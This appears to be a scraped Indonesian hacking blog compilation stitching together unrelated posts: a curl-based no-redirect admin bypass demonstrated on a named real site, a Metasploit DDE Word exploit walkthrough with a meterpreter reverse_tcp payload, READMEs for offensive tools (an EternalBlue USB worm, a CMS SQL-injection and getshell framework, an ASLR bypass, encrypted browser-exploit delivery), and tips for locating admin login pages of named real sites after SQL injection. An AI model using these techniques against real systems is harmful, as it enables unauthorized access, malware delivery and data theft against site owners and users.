Termux ID: Exploit -->
Halo selamat malam, kali ini saya akan memberikan sedikit tutorial bagaimana menemukan sebuah celah/vulnerability NO REDIRECT pada suatu situs. Celah ini ditemukan pada suatu halaman/file yang seharusnya dapat diakses hanya pada user yang memiliki akses tertentu (user yang sudah login).

Contohnya pada suatu kasus untuk dapat masuk ke halaman dashboard admin yang terdapat pada file /admin/home.php, kita diharuskan login terlebih dahulu. Maka dari itu, biasanya kita akan di redirect/arahkan ke halaman login dahulu, misalkan di file /admin/login.php


Sudah paham maksudnya?
Jika masih belum paham, mari simak penjelasan berikut.


Saya menemukan suatu sample situs yang memiliki celah ini, coba kalian kunjungi situs berikut:
http://shmsupport.telkomspeedy.com/admin/ maka kalian akan di arahkan/redirect ke halaman situs tersebut yang beralamat pada http://shmsupport.telkomspeedy.com/admin/login.php?MSG=NOSESSION

Dapat Simpulkan, bahwa pada folder /admin/ terdapat sebuah file index.php yang mem-validasi bahwa hanya user yang sudah LOGIN saja yang dapat mengakses ini. Simplenya, $_SESSION user sudah ter-set.

 Sayangnya, ada cara bagaimana mengakses /admin/ tanpa harus login terlebih dahulu. Bypassing dengan Query SQL??? 

***Bukan jawaban yang tepat pada pembahasan kali ini***

Lalu bagaimana?

*Cukup gunakan command CURL pada console/terminal/CMD, lalu jalankan command berikut:

$ curl -v http://shmsupport.telkomspeedy.com/admin/

Akan muncul sebuah hasil, dimana di perlihatkan bahwa kita dapat melihat isi dari halaman dashboard admin tersebut.



Melihat tulisan LOGOUT bukan? Padahal kita tidak login sama sekali ke website tersebut. Yap, ini merupakan sebuah bug. Melalui console seperti memang akan terbatas untuk melakukan hal-hal lainnya, tapi anda bisa menggunakan sebuah addons pada Browser untuk melakukan ini yaitu NO REDIRECT (https://addons.mozilla.org/en-US/firefox/addon/noredirect/).

*******************************
Kenapa ini bisa terjadi?
Jika kita pernah coding hal seperti ini, kita akan membuat sebuah validasi $_SESSION, untuk memastikan apakah user yang mengakses halaman tersebut sudah login atau belum. Biasanya akan di coding seperti ini:

if(!isset($_SESSION[user])) {
             // lakukan redirect disini jika user belum login
}

Tapi codingan diatas masih memiliki bug, memang jika kita mengaksesnya melalui browser kita akan di arahkan ke halaman yang akan di set di codingan tersebut, namun jika kita melihat melalui CURL tadi, halamannya akan bisa kita lihat.

*******************************
Lalu bagaimana memperbaiki bug ini? dan apakah ini fatal?

Untuk memperbaiki ini simple saja, tambahkan die() ataupun exit() setelah bagian Lakukan Redirect.

if(!isset($_SESSION[user])) {
              // lakukan redirect disini jika user belum login
              exit();
}

Codingan diatas akan langsung menutup tadi jika kita mengakses melalui CURL, dan potongan code dashboard admin tadi tidak akan bisa dilihat lagi.

Jika terdapat informasi yang sensitif seperti dokument pribadi/dokument user/customer/client atau hal lainnya yang terdapat pada halaman tersebut, akan sangat mudah sekali didapatkan karena mereka masuk/melihat tanpa harus melalui sebuah authentikasi yang valid. Hal ini juga bisa menjadi awal terjadinya Exploitasi dengan CSRF, dan lainnya.



Oke sekian dulu tutorial kali ini, semoga bermanfaat.

Deteksi Celah NO REDIRECT Pada Suatu Situs Menggunakan CURL


Seperti yang dinyatakan di berbagai bagian pengujian Penetrasi dengan kursus pelatihan Raspberry Pi dan Kali Linux, Pi Raspberry dirancang untuk menjadi pilihan komputasi murah yang dirancang untuk berbagai keperluan. Sistem murah menawarkan daya komputasi terbatas, jadi satu kelemahan utama saat menggunakan Pi Raspberry untuk semua jenis pengujian penetrasi adalah kurangnya daya untuk menjalankan tugas dengan sumber daya yang intensif.

Untuk alasan ini, sangat disarankan untuk menggunakan Pi Raspberry untuk tugas-tugas tertentu daripada serangan senjata go-to attack, karena instalasi Linux Times yang lengkap menawarkan lebih banyak alat untuk arsitektur ARM Kali Linux yang terbatas.


Dua tangkapan layar berikut menunjukkan perbedaan antara opsi yang tersedia untuk satu kategori toolset dalam arsitektur ARM Kali Linux dan instalasi Linux Times yang lengkap. Kami juga menemukan bahwa beberapa alat di ARM Kali Linux tidak berfungsi dengan baik saat dijalankan dari GUI, atau gagal pada umumnya.

Anda akan menemukan alat yang lebih andal dalam instalasi penuh Kali Linux dengan sistem yang lebih hebat daripada Raspberry Pi. Berikut adalah screenshot ARM Kali Linux yang menampilkan alat Live Host Identification, yaitu ncat dan nmap:


Berikut adalah opsi alat untuk kategori Identifikasi Host Live yang sama yang ditemukan dalam instalasi penuh Kali Linux. Seperti yang dapat Anda lihat di tangkapan layar berikut, lebih banyak pilihan ditawarkan:

.

Thanks telah berkunjung ke blog kami
AnonCyberTeam :)

Penetration Testing With Kali Linux Using Raspberry Pi – Pros and Cons



Maxteroit - Akhir akhir ini telah ditemukan sebuah cara untuk memanfaatkan salah satu fitur yang ada pada Microsoft Windows untuk melakukan suspicous activity. Fitur itu tak lain ialah DDE, kabarnya pula fitur ini telah banyak disalahgunakan untuk menyebarkan malware dan ransomeware.

Sekilas Mengenai Microsoft DDE Vulnerability

DDE ( Dynamic Data Exchange ) merupakan salah satu fitur dalam Microsoft Office yang memungkinkan dua buah aplikasi untuk membagikan data yang sama. Sayangnya beberapa waktu lalu telah ditemukan cara memanfaatkan fitur tersebut untuk melakukan arbitary code execution. Salah satu keunggulan kelemahan ini adalah tak ada pop up warning , tak membutuhkan macros, dan tak memerlukan memory corruption.

Alat Tempur

Langkah-langkah

  • -         Download script dengan perintah

wget https://raw.githubusercontent.com/realoriginal/metasploit-framework/fb3410c4f2e47a003fd9910ce78f0fc72e513674/modules/exploits/windows/script/dde_delivery.rb
  • -         Simpan di

/usr/share/metasploit-framework/modules/exploits/windows/
  • -         Jalankan Metasploit
  • -         Jalankan perintah 

use exploits/windows/dde_delivery

  • -     Setting payload 

set payload windows/meterpreter/reverse_tcp

set LHOST 192.168.x.x

set LPORT 4444

  • -         Jalankan exploit
  • -         Copy script yang muncul pada module dan buka VirtualMachine kalian
  • -         Buka Microsoft Word
  • -         Klik tab Insert > Quick Parts > Fields > Ok


  •  -        Klik kanan pada kalimat yang muncul, pilih Toggle Field Code

  • -         Ganti dengan script yang kita dapat dari module


  • -         Save !
  • -         Buka file doc yang telah kita simpan tadi.
  • -         Syarat sah agar exploit ini bekerja adalah si korban harus mengklik yes pada 2 window yang keluar


  • -         Bila berhasil maka, Selamat !!! Kamu Baru Saja Mendapatkan Meterpreter Session!!!


Pencegahan

            Untuk mencegah serangan yang serupa maka kita bisa melakukan hal berikut :

Buka Office Button > Word Options > Advanced > uncheck Update Automatic Link at Opens.


Dan cara yang terampuh ialah jangan pernah membuka file mencurigakan apapun yang kalian dapat dari email maupun sumber lain.



Mengeksploitasi Celah 0day Microsoft DDE Vulnerability


Excalibur is an Eternalblue exploit based "Powershell" for the Bashbunny project. It's purpose is to reflect on how a "simple" USB drive can execute the 7 cyber kill chain. Excalibur may be used only for demostrations purposes only, and the developers are not responsible to any misuse or illeagal usage.

What does it do?
When Excalibur gets connected to the machine, it will run the following:
  1. Trys to bypass UAC, or just get administrative rights
  2. Gets interface info (IP addresses) and build a network map inside a TXT file.
  3. Scans port 445 for the known "MS10-17" ("EternalBlue") vulnerability in every segment found.
  4. Exploits every machine and drop a shell to a remote machine.

How to?
Follow the steps here to compile a shellcode: https://github.com/vivami/MS17-010
  1. Copy payload.txt to the switch folder.
  2. Copy the "eternablblue_exploit7.py" and compile it using Pyinstaller:
  • "pip install pyinstaller"
  • "pipinstaller --onefile eternablblue_exploit7.py"
  1. Add your shellcode and the compiled exploiter into "a.zip" and copy it to the "loot" folder".
  • a.zip needs to contain a compiled, standalone eternalblue exploiter from "vivami's" repo and the shellcode.
  1. Copy the powershell script to (p_v2.ps1) to the loot folder.

TODO
  1. Add persistency in terms of add a new user account, and persistent shell.
  2. Exploit other machines and applications in the network, with the credentials added in the persistency step.
  3. Exfiltrate sensitive data from the network, outside.
  4. Bug fixes, and exploits stabilizations.

Notes
Excalibur is still in Beta, bugs are iminent.


Excalibur - An Eternalblue exploit payload based Powershell



A CMS Exploit Framework.

Requirements
  • python2.7
  • Works on Linux, Windows

Usage
usage: cmspoc.py [-h]
-t TYPE -s SCRIPT -u URL

optional arguments:
-h, --help show this help message and exit
-t TYPE, --type TYPE e.g.,phpcms
-s SCRIPT, --script SCRIPT
Select script
-u URL, --url URL Input a target url

Examples
python cmspoc.py -t phpcms -s v960_sqlinject_getpasswd -u http://10.10.10.1:2500/phpcms960


Scripts
TYPESCRIPTDESCRIPTION
phpcmsv960_sqlinject_getpasswdphpcmsv9.6.0 wap模块 sql注入 获取passwd
icmsv701_sqlinject_getadminicmsv7.0.1 admincp.php sql注入 后台任意登陆
discuzv34_delete_arbitary_filesdiscuz ≤ v3.4 任意文件删除
beecmsv40_fileupload_getshellbeecms ≤ V4.0_R_20160525 文件上传漏洞


cmsPoc - A CMS Exploit Framework


Linux ELF x32 and x64 ASLR bypass exploit with stack-spraying.

Properties:
  • ASLR bypass
  • Cross-platform
  • Minimalistic
  • Simplicity
  • Unpatchable
Dependencies:
  • Linux 2.6.12+ - will work on any x86-64 Debian-based OS
    • BASH - the whole script
Limitations:
  • Stack needs to be executable (-z execstack)
  • Binary has to be exploited through arguments locally (not file, socket or input)
  • No support for other architectures and OSes (TODO)
  • Need to know the buffer limit/size

How it works
You might have heard of Heap Spraying attack? Well, Stack Spraying is similar, however, it was considered unpractical for most cases, especially ASLR on x86-64.
My work will prove the opposite.
For 32-bit, there are 2^32 (4 294 967 296) theoretical addresses, nevertheless, the kernel will allow to control about only half of bits (2^(32/2) = 65 536) for an execution in a virtualized memory, which means that if we control more that 50 000 characters in stack, we are almost sure to point to our shellcode, regardless the address, thanks to kernel redirection and retranslation.
This can be achieved using shell variables, which aren't really limited to a specific length, but practical limit is about one million, otherwise it will saturate the TTY.
So, in order to exploit successfully, we need to put a NOP sled following the shellcode into a shell variable and just exploit the binary with a random address.
In 64-bit system the situation is different, but not so much as of my discovery.
Of course, you wouldn't have to cover all 2^64 possibilities, in fact, the kernel allows only 48 bits, plus a part of them are predictable and static, which left us with about 2^(4x8+5) (137 438 953 472) possibilities.
I have mentioned the shell variables size limit, but there is also a count limit, which appears to be about 10, thus allowing us to stock a 10 000 000 character shellcode, living us with just a tenth of thousand possibilities that can be tested rapidly and automatically.
That said, ASLR on both 32 and 64-bits can be easily bypassed in few minutes and with few lines of shell...

HowTo
If you have exploited at least one buffer overflow in your life, you can skip, but just in case:
apt install gcc || kill -9 $$
chmod u+x ASLRay.sh
sudo gcc -z execstack test.c -o test
sudo gcc -m32 -z execstack test.c -o test32
sudo chmod +s test test32
source ASLRay.sh test32 1024
source ASLRay.sh test 1024
Don't forget to check stack execution and ASLR both set:
scanelf -e test | grep RWX
or
readelf -l test | grep RWE
cat /proc/sys/kernel/randomize_va_space


ASLRay - Linux ELF x32 and x64 ASLR bypass exploit with stack-spraying


This project aims at delivering browser exploits to the victim browser in an encrypted fashion. Ellyptic-curve Diffie-Hellman (secp256k1) is used for key agreement and AES is used for encryption.

By delivering the exploit code (and shellcode) to the victim in an encrypted way, the attack can not be replayed. Meanwhile the HTML/JS source is encrypted thus reverse engineering the exploit is significantly harder.

If you have no idea what talking about, check out this video on Youtube: https://www.youtube.com/watch?v=eyMDd98uljI 

 Or slides on Slideshare: 


Getting Started
These instructions will get you a copy of the project up and running on your local machine for development and testing purposes.

Prerequisites
Mandatory dependencies - clone the IRONSQUIRREL project, cd into the project directory, and run the following commands:
sudo apt-get install ruby-dev
bundle install
Actually nokogiri and gibberish gems will be installed.
Optional dependency (for Powershell based environment aware encrypted payload delivery): Ebowla https://github.com/Genetic-Malware/Ebowla

Installing
  1. Clone the IRONSQUIRREL project
  2. Install the prerequisites
  3. (Optional) Edit IRONSQUIRREL.rb
    1. Change the listen port
    2. If Ebowla is used, configure the paths
  4. (Optional) If Ebowla is used, configure genetic.config.ecdh in the Ebowla install directory
  5. Run IRONSQUIRREL.rb
ruby IRONSQUIRREL.rb --exploit full_path_to_exploit

Example
ruby IRONSQUIRREL.rb --exploit /home/myawesomeusername/IRONSQUIRREL/exploits/alert.html
After that, visit the webserver from a browser. Example output:
Listening on 2345
GET / HTTP/1.1
GET /sjcl.js HTTP/1.1
GET /dh.js HTTP/1.1
GET /client_pub.html?cl=SOifQJetphU2CvFzZl239nKPYWRGEH23ermGMszo9oqOgqIsH5XxXi1vw4P4YFWDqK6v4o4jIpAVSNZD1x5NTw%3D%3D HTTP/1.1
GET /final.html HTTP/1.1
GET /sjcl.js HTTP/1.1
The end

Deployment instructions for production environments
  1. Let me know if you use this for real
  2. Spend at least 2 weeks to figure out what could go wrong

Contributing
Feel free to submit bugfixes, feature requests, comments ...

Authors
  • Zoltan Balazs (@zh4ck) - Initial work

Acknowledgments
  • @CrySySLab
  • @SpamAndHex
  • @molnar_g
  • @midnite_runr
  • @buherator
  • @sghctoma
  • @zmadarassy
  • @xoreipeip
  • @DavidSzili
  • @theevilbit
  • Szimues

Ironsquirrel - Encrypted Exploit Delivery for the Masses

Gambar Hanya Pemanis.

Cara Mencari Halaman Login Admin

Sore gaes, lama juga gw ga nongol, hehe. Jadi pengen peluk kalian semua satu - satu, Unchh.
Kali ini gw balik dengan Tutorial Cara Mencari Halaman Login Admin.

Pernah gak kalian, abis maen SQLi misalnya, user/pass udah dapet, password udah berhasil di decrypt, tapi ganemu Halaman Login Admin? Sering. Nah, disini gw bawain beberapa cara nemuin halaman terkutuk itu :P

1. Havij.
Ya, Havij. Havij ini salah satu alat yang membantu penguji penetrasi untuk mencari dan mengeksploitasi kelemahan SQL Injection pada halaman web. Dan disana ada fitur admin finder nya loh.

Tutorial SQLi dengan Havij


2.  Admin Finder.
Di dunia ini, coba gw tanya, ada berapa tool adminfinder? Banyak :P Kalian bisa gunain salah satu dari mereka. Misal, dari sini. 

3. View Source.
Lahh? Kok View Source? 
Mungkin beberapa dari kalian belum tau ya :P Jadi kita intip2 source code web tadi.  
Lihat contoh ini,


 Disitu bisa kita lihat, sebelum dir uploaded_files , ada dir lagi dengan nama dashboard, kalian tau kan artinya? Wkwk.

4 . Intip Sampai ke Developernya.
Iya, cara ini emang gak umum banget, juga ini ada unsur - unsur factor face biasanya, wkwk.
Kebanyakan web, di bagian footer bakal ada nama developer dari web tadi. Nah, kita intip kesana, yuk gw tunjukin.
1. Target : http://mer99furniture.com/
2. Lihat ke pojok kanan bawah. Disitu tertulis Development by Mobista Technologies.
3. Dari web Mobista Technologies, kita intip - intip lagi. Dan gw nemu, di sini.
4. Kebetulan disana kita bisa lihat demo back-end dari web-web hasil karya Mobista Technologies. Dan salah satunya di sini.
5.Tinggal kita sama kan dengan target pertama, dan .. Gotcha! I got you! Halaman admin target berada di site/ew-admin. Persis seperti demo di web Mobista Technologies.

Mungkin cara terakhir agak rumit karena emang kita masuk banget sampe intip - intip ke web developer nya, hehe. But, Trust Me, it works.

Sekian postingan gw kali ini. Sampe Ketemu di postingan gw selanjutanya.

Cara Mencari Halaman Login Admin